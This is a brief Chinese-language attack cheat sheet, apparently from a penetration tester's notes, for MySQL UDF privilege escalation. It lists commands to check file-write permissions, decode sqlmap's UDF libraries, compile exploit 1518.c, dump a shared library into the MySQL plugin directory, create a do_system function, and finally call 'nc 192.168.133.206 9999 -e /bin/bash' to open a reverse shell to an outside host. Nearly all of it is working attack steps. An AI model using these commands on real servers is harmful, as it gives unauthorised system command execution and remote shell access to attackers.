select @@global.secure_file_priv;
查看MySQL服务器的文件读写权限
如果是NULL就是完全禁止
udf提权用到的so文件(linux)在kali下默认集成,路径为/usr/share/sqlmap/udf/mysql/linux/64(32)
还有一个需要注意的是,sqlmap里的udf.dll是通过异或编码的,使用之前一定要记得解码,解码的工具也在sqlmap中,路径为
/usr/share/sqlmap/extra/cloak
解密之后会在so目录下生成so文件需要创建udf中存在的函数才可以,可以用十六进制编辑器打开udf.so看一下
或者searchsploit mysql udf
把对应的内容编译出来
gcc -g -c 1518.c
gcc -g -shared -o 1518.so 1518.o -lc
mysql创建函数命令
use mysql;
show variables like '%plugin%';
create table udf1(line blob);
insert into udf1 values(load_file('/tmp/udf.so'));
select * from udf1 into dumpfile '/usr/lib/mysql/plugin/udf.so';
create function do_system returns integer soname 'udf.so';
select * from mysql.func; #查询是否创建函数成功
select do_system('nc 192.168.133.206 9999 -e /bin/bash');